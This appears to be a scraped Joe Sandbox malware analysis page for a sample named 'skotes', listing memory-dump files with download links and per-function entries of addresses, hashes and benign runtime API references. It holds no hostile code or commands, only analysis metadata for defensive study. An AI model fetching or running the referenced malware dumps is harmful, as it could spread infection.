Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 809e5aa3882bcbcc298729b23ea4a3b6bb5a153885cded5362b4afc84d834d2a
Instruction ID: f64c6e5888057decd6d527aba004f3408d26c0841c749bc102de838d03d95859
Opcode Fuzzy Hash: 809e5aa3882bcbcc298729b23ea4a3b6bb5a153885cded5362b4afc84d834d2a
Instruction Fuzzy Hash: 02019C699463152DA72377BA9C93DFB22DCAE0670C730043BF605E7551EDA8F8005260

Function 00392097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 003920B7

Part of subcall function 0038CAF3: Mailbox.LIBCMT ref: 0038CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 003920C8
StructuredWorkStealingQueue.LIBCMT ref: 003920FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0039210F

Strings

e, xrefs: 003920D9

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 726210809dd19f5bc17ffc48ccb1823e1a8aa90692ebb7b21f2fa7a577db730e
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: F111C635610909BBDF17DE79C88166B77A8EF01364B14C19AFC069F202DB71D911CBA1

Function 0037D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0037D0A5

Strings

WakeAllConditionVariable, xrefs: 0037D069
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0037D03B
kernel32.dll, xrefs: 0037D04C
SleepConditionVariableCS, xrefs: 0037D05D

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: b4159270ca618734144cad91c0013836134f2f19c99410544a98b50b94d1d401
Instruction ID: 043e5b45fd08884748b3d1a6adaf97a2c45ec44c8a8ae633764aa1cfebbc03be
Opcode Fuzzy Hash: b4159270ca618734144cad91c0013836134f2f19c99410544a98b50b94d1d401
Instruction Fuzzy Hash: 9C012B61AC2B1169FA333B775D10FDB12EE8F83B44F466015EE08E3190DE58FC80A6A1

Function 0038E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0038E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0038E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0038E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0038E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0038E9DC

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: d97bdc010e3623661e934f7d268ce78684d6cf5ba4b8978f72f7db2eacea0c30
Instruction ID: 7c94add73f66e6724dd01c863a9e9f3299d5f288f180a58da223f2fa4958f4ce
Opcode Fuzzy Hash: d97bdc010e3623661e934f7d268ce78684d6cf5ba4b8978f72f7db2eacea0c30
Instruction Fuzzy Hash: 34415075A00619EFCF0AEF64C554A6DB7B6FF88310F058199E906AB391CB74AE01CF91

Function 0037ECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0037ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0037ED17

Part of subcall function 0037F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0037F3FA

__alloca_probe_16.LIBCMT ref: 0037ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0037ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0037EDC6

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
